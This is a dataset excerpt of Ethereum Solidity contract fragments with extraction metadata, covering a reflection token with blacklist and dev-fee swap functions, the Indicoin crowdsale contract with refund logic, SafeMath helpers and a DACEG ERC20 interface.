_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We cant blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeAllFee() private {
if(_taxFee == 0 && _devFee == 0) return;
_previousTaxFee = _taxFee;
_previousdevFee = _devFee;
_taxFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousdevFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular dev event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeFordev;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the dev wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHTodev(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and dev fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHTodev(contractETHBalance);
}
function sendETHTodev(uint256 amount) private {
_devWalletAddress.transfer(amount);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takedev(tdev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takedev(uint256 tdev) private {
uint256 currentRate = _getRate();
uint256 rdev = tdev.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rdev);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tdev);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tdev) = _getTValues(tAmount, _taxFee, _devFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tdev);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 devFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tdev = tAmount.mul(devFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tdev);
return (tTransferAmount, tFee, tdev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setdevFee(uint256 devFee) external onlyOwner() {
require(devFee >= 1 && devFee <= 10, 'devFee should be in 1 - 10');
_devFee = devFee;
}
function _setdevWallet(address payable devWalletAddress) external onlyOwner() {
_devWalletAddress = devWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 200000000000e9 , 'maxTxAmount should be greater than 200000000000e9');
_maxTxAmount = maxTxAmount;
}
}
|
// Contract implementarion
|
LineComment
|
//to recieve ETH from uniswapV2Router when swaping
|
LineComment
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
17337,
17375
]
}
| 55,543 |
||
Indicoin
|
Indicoin.sol
|
0xc0661b1fce0e77ea21a3268c5d42a5442dd96817
|
Solidity
|
SafeMath
|
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
|
/* taking ideas from FirstBlood token */
|
Comment
|
safeAdd
|
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
|
/* } // assert no longer needed once solidity is on 0.4.10 */
|
Comment
|
v0.4.17+commit.bdeb9e52
|
bzzr://0812459c3da9df5287b200f62b0bcef8ef4f0f4f825863a8eea7741c7b53a320
|
{
"func_code_index": [
219,
377
]
}
| 55,544 |
|
Indicoin
|
Indicoin.sol
|
0xc0661b1fce0e77ea21a3268c5d42a5442dd96817
|
Solidity
|
Indicoin
|
contract Indicoin is StandardToken, SafeMath {
// metadata
string public constant name = "Indicoin";
string public constant symbol = "INDI";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // deposit address for ETH for Indicoin Developers
address public indiFundAndSocialVaultDeposit; // deposit address for indicoin developers use and social vault
address public bountyDeposit; // deposit address for bounty
address public preSaleDeposit; //deposit address for preSale
// crowdsale parameters
bool public isFinalized; // switched to true in operational state
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public constant indiFundAndSocialVault = 550 * (10**6) * 10**decimals; // 100m INDI reserved for team use and 450m for social vault
uint256 public constant bounty = 50 * (10**6) * 10**decimals; // 50m INDI reserved for bounty
uint256 public constant preSale = 20 * (10**6) * 10**decimals; // 20m INDI reserved for preSale manual distribution
uint256 public constant tokenExchangeRate = 12500; // 12500 INDI tokens per 1 ETH
uint256 public constant tokenCreationCap = 1000 * (10**6) * 10**decimals;
uint256 public constant tokenCreationMin = 620 * (10**6) * 10**decimals;
// events
event LogRefund(address indexed _to, uint256 _value);
event CreateINDI(address indexed _to, uint256 _value);
function Indicoin()
{
isFinalized = false; //controls pre through crowdsale state
ethFundDeposit = 0xD4A92E6E8f57080e5a73D398B85c6549458a70Ea;
indiFundAndSocialVaultDeposit = 0xa2551Fa409bEcdacba3A3EAef30e9b3a510F401b;
preSaleDeposit = 0xfD9264b3Fe7361063f0a0a09BD3557b07A156f17;
bountyDeposit = 0xc987598c81446b8224818790fF54e4539FE5344B;
fundingStartTime = 1506814200;
fundingEndTime = 1509494400;
totalSupply = indiFundAndSocialVault + bounty + preSale;
balances[indiFundAndSocialVaultDeposit] = indiFundAndSocialVault; // Deposit Indicoin developers share
balances[bountyDeposit] = bounty; //Deposit bounty Share
balances[preSaleDeposit] = preSale; //Deposit preSale Share
CreateINDI(indiFundAndSocialVaultDeposit, indiFundAndSocialVault); // logs indicoin developers fund
CreateINDI(bountyDeposit, bounty); // logs bounty fund
CreateINDI(preSaleDeposit, preSale); // logs preSale fund
}
/// @dev Accepts ether and creates new INDI tokens.
function createTokens() payable external {
if (isFinalized) revert();
if (now < fundingStartTime) revert();
if (now > fundingEndTime) revert();
if (msg.value == 0) revert();
uint256 tokens = safeMult(msg.value, tokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = safeAdd(totalSupply, tokens);
// return money if something goes wrong
if (tokenCreationCap < checkedSupply) revert(); // odd fractions won't be found
totalSupply = checkedSupply;
balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here
CreateINDI(msg.sender, tokens); // logs token creation
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external {
if (isFinalized) revert();
if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner
if(totalSupply < tokenCreationMin) revert(); // have to sell minimum to move to operational
if(now <= fundingEndTime && totalSupply != tokenCreationCap) revert();
// move to operational
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) revert(); // send the eth to Indicoin developers
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
function refund() external {
if(isFinalized) revert(); // prevents refund if operational
if (now <= fundingEndTime) revert(); // prevents refund until sale period is over
if(totalSupply >= tokenCreationMin) revert(); // no refunds if we sold enough
if(msg.sender == indiFundAndSocialVaultDeposit) revert(); // Indicoin developers not entitled to a refund
uint256 indiVal = balances[msg.sender];
if (indiVal == 0) revert();
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, indiVal); // extra safe
uint256 ethVal = indiVal / tokenExchangeRate; // should be safe; previous throws covers edges
LogRefund(msg.sender, ethVal); // log it
if (!msg.sender.send(ethVal)) revert(); // if you're using a contract; make sure it works with .send gas limits
}
}
|
createTokens
|
function createTokens() payable external {
if (isFinalized) revert();
if (now < fundingStartTime) revert();
if (now > fundingEndTime) revert();
if (msg.value == 0) revert();
uint256 tokens = safeMult(msg.value, tokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = safeAdd(totalSupply, tokens);
// return money if something goes wrong
if (tokenCreationCap < checkedSupply) revert(); // odd fractions won't be found
totalSupply = checkedSupply;
balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here
CreateINDI(msg.sender, tokens); // logs token creation
}
|
/// @dev Accepts ether and creates new INDI tokens.
|
NatSpecSingleLine
|
v0.4.17+commit.bdeb9e52
|
bzzr://0812459c3da9df5287b200f62b0bcef8ef4f0f4f825863a8eea7741c7b53a320
|
{
"func_code_index": [
2656,
3359
]
}
| 55,545 |
|||
Indicoin
|
Indicoin.sol
|
0xc0661b1fce0e77ea21a3268c5d42a5442dd96817
|
Solidity
|
Indicoin
|
contract Indicoin is StandardToken, SafeMath {
// metadata
string public constant name = "Indicoin";
string public constant symbol = "INDI";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // deposit address for ETH for Indicoin Developers
address public indiFundAndSocialVaultDeposit; // deposit address for indicoin developers use and social vault
address public bountyDeposit; // deposit address for bounty
address public preSaleDeposit; //deposit address for preSale
// crowdsale parameters
bool public isFinalized; // switched to true in operational state
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public constant indiFundAndSocialVault = 550 * (10**6) * 10**decimals; // 100m INDI reserved for team use and 450m for social vault
uint256 public constant bounty = 50 * (10**6) * 10**decimals; // 50m INDI reserved for bounty
uint256 public constant preSale = 20 * (10**6) * 10**decimals; // 20m INDI reserved for preSale manual distribution
uint256 public constant tokenExchangeRate = 12500; // 12500 INDI tokens per 1 ETH
uint256 public constant tokenCreationCap = 1000 * (10**6) * 10**decimals;
uint256 public constant tokenCreationMin = 620 * (10**6) * 10**decimals;
// events
event LogRefund(address indexed _to, uint256 _value);
event CreateINDI(address indexed _to, uint256 _value);
function Indicoin()
{
isFinalized = false; //controls pre through crowdsale state
ethFundDeposit = 0xD4A92E6E8f57080e5a73D398B85c6549458a70Ea;
indiFundAndSocialVaultDeposit = 0xa2551Fa409bEcdacba3A3EAef30e9b3a510F401b;
preSaleDeposit = 0xfD9264b3Fe7361063f0a0a09BD3557b07A156f17;
bountyDeposit = 0xc987598c81446b8224818790fF54e4539FE5344B;
fundingStartTime = 1506814200;
fundingEndTime = 1509494400;
totalSupply = indiFundAndSocialVault + bounty + preSale;
balances[indiFundAndSocialVaultDeposit] = indiFundAndSocialVault; // Deposit Indicoin developers share
balances[bountyDeposit] = bounty; //Deposit bounty Share
balances[preSaleDeposit] = preSale; //Deposit preSale Share
CreateINDI(indiFundAndSocialVaultDeposit, indiFundAndSocialVault); // logs indicoin developers fund
CreateINDI(bountyDeposit, bounty); // logs bounty fund
CreateINDI(preSaleDeposit, preSale); // logs preSale fund
}
/// @dev Accepts ether and creates new INDI tokens.
function createTokens() payable external {
if (isFinalized) revert();
if (now < fundingStartTime) revert();
if (now > fundingEndTime) revert();
if (msg.value == 0) revert();
uint256 tokens = safeMult(msg.value, tokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = safeAdd(totalSupply, tokens);
// return money if something goes wrong
if (tokenCreationCap < checkedSupply) revert(); // odd fractions won't be found
totalSupply = checkedSupply;
balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here
CreateINDI(msg.sender, tokens); // logs token creation
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external {
if (isFinalized) revert();
if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner
if(totalSupply < tokenCreationMin) revert(); // have to sell minimum to move to operational
if(now <= fundingEndTime && totalSupply != tokenCreationCap) revert();
// move to operational
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) revert(); // send the eth to Indicoin developers
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
function refund() external {
if(isFinalized) revert(); // prevents refund if operational
if (now <= fundingEndTime) revert(); // prevents refund until sale period is over
if(totalSupply >= tokenCreationMin) revert(); // no refunds if we sold enough
if(msg.sender == indiFundAndSocialVaultDeposit) revert(); // Indicoin developers not entitled to a refund
uint256 indiVal = balances[msg.sender];
if (indiVal == 0) revert();
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, indiVal); // extra safe
uint256 ethVal = indiVal / tokenExchangeRate; // should be safe; previous throws covers edges
LogRefund(msg.sender, ethVal); // log it
if (!msg.sender.send(ethVal)) revert(); // if you're using a contract; make sure it works with .send gas limits
}
}
|
finalize
|
function finalize() external {
if (isFinalized) revert();
if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner
if(totalSupply < tokenCreationMin) revert(); // have to sell minimum to move to operational
if(now <= fundingEndTime && totalSupply != tokenCreationCap) revert();
// move to operational
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) revert(); // send the eth to Indicoin developers
}
|
/// @dev Ends the funding period and sends the ETH home
|
NatSpecSingleLine
|
v0.4.17+commit.bdeb9e52
|
bzzr://0812459c3da9df5287b200f62b0bcef8ef4f0f4f825863a8eea7741c7b53a320
|
{
"func_code_index": [
3423,
3929
]
}
| 55,546 |
|||
Indicoin
|
Indicoin.sol
|
0xc0661b1fce0e77ea21a3268c5d42a5442dd96817
|
Solidity
|
Indicoin
|
contract Indicoin is StandardToken, SafeMath {
// metadata
string public constant name = "Indicoin";
string public constant symbol = "INDI";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // deposit address for ETH for Indicoin Developers
address public indiFundAndSocialVaultDeposit; // deposit address for indicoin developers use and social vault
address public bountyDeposit; // deposit address for bounty
address public preSaleDeposit; //deposit address for preSale
// crowdsale parameters
bool public isFinalized; // switched to true in operational state
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public constant indiFundAndSocialVault = 550 * (10**6) * 10**decimals; // 100m INDI reserved for team use and 450m for social vault
uint256 public constant bounty = 50 * (10**6) * 10**decimals; // 50m INDI reserved for bounty
uint256 public constant preSale = 20 * (10**6) * 10**decimals; // 20m INDI reserved for preSale manual distribution
uint256 public constant tokenExchangeRate = 12500; // 12500 INDI tokens per 1 ETH
uint256 public constant tokenCreationCap = 1000 * (10**6) * 10**decimals;
uint256 public constant tokenCreationMin = 620 * (10**6) * 10**decimals;
// events
event LogRefund(address indexed _to, uint256 _value);
event CreateINDI(address indexed _to, uint256 _value);
function Indicoin()
{
isFinalized = false; //controls pre through crowdsale state
ethFundDeposit = 0xD4A92E6E8f57080e5a73D398B85c6549458a70Ea;
indiFundAndSocialVaultDeposit = 0xa2551Fa409bEcdacba3A3EAef30e9b3a510F401b;
preSaleDeposit = 0xfD9264b3Fe7361063f0a0a09BD3557b07A156f17;
bountyDeposit = 0xc987598c81446b8224818790fF54e4539FE5344B;
fundingStartTime = 1506814200;
fundingEndTime = 1509494400;
totalSupply = indiFundAndSocialVault + bounty + preSale;
balances[indiFundAndSocialVaultDeposit] = indiFundAndSocialVault; // Deposit Indicoin developers share
balances[bountyDeposit] = bounty; //Deposit bounty Share
balances[preSaleDeposit] = preSale; //Deposit preSale Share
CreateINDI(indiFundAndSocialVaultDeposit, indiFundAndSocialVault); // logs indicoin developers fund
CreateINDI(bountyDeposit, bounty); // logs bounty fund
CreateINDI(preSaleDeposit, preSale); // logs preSale fund
}
/// @dev Accepts ether and creates new INDI tokens.
function createTokens() payable external {
if (isFinalized) revert();
if (now < fundingStartTime) revert();
if (now > fundingEndTime) revert();
if (msg.value == 0) revert();
uint256 tokens = safeMult(msg.value, tokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = safeAdd(totalSupply, tokens);
// return money if something goes wrong
if (tokenCreationCap < checkedSupply) revert(); // odd fractions won't be found
totalSupply = checkedSupply;
balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here
CreateINDI(msg.sender, tokens); // logs token creation
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external {
if (isFinalized) revert();
if (msg.sender != ethFundDeposit) revert(); // locks finalize to the ultimate ETH owner
if(totalSupply < tokenCreationMin) revert(); // have to sell minimum to move to operational
if(now <= fundingEndTime && totalSupply != tokenCreationCap) revert();
// move to operational
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) revert(); // send the eth to Indicoin developers
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
function refund() external {
if(isFinalized) revert(); // prevents refund if operational
if (now <= fundingEndTime) revert(); // prevents refund until sale period is over
if(totalSupply >= tokenCreationMin) revert(); // no refunds if we sold enough
if(msg.sender == indiFundAndSocialVaultDeposit) revert(); // Indicoin developers not entitled to a refund
uint256 indiVal = balances[msg.sender];
if (indiVal == 0) revert();
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, indiVal); // extra safe
uint256 ethVal = indiVal / tokenExchangeRate; // should be safe; previous throws covers edges
LogRefund(msg.sender, ethVal); // log it
if (!msg.sender.send(ethVal)) revert(); // if you're using a contract; make sure it works with .send gas limits
}
}
|
refund
|
function refund() external {
if(isFinalized) revert(); // prevents refund if operational
if (now <= fundingEndTime) revert(); // prevents refund until sale period is over
if(totalSupply >= tokenCreationMin) revert(); // no refunds if we sold enough
if(msg.sender == indiFundAndSocialVaultDeposit) revert(); // Indicoin developers not entitled to a refund
uint256 indiVal = balances[msg.sender];
if (indiVal == 0) revert();
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, indiVal); // extra safe
uint256 ethVal = indiVal / tokenExchangeRate; // should be safe; previous throws covers edges
LogRefund(msg.sender, ethVal); // log it
if (!msg.sender.send(ethVal)) revert(); // if you're using a contract; make sure it works with .send gas limits
}
|
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
|
NatSpecSingleLine
|
v0.4.17+commit.bdeb9e52
|
bzzr://0812459c3da9df5287b200f62b0bcef8ef4f0f4f825863a8eea7741c7b53a320
|
{
"func_code_index": [
4031,
4930
]
}
| 55,547 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEGToken
|
contract DACEGToken {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
totalSupply
|
function totalSupply() constant returns (uint256 supply) {}
|
/// @return total amount of tokens
|
NatSpecSingleLine
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
65,
129
]
}
| 55,548 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEGToken
|
contract DACEGToken {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
balanceOf
|
function balanceOf(address _owner) constant returns (uint256 balance) {}
|
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
|
NatSpecSingleLine
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
237,
314
]
}
| 55,549 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEGToken
|
contract DACEGToken {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
transfer
|
function transfer(address _to, uint256 _value) returns (bool success) {}
|
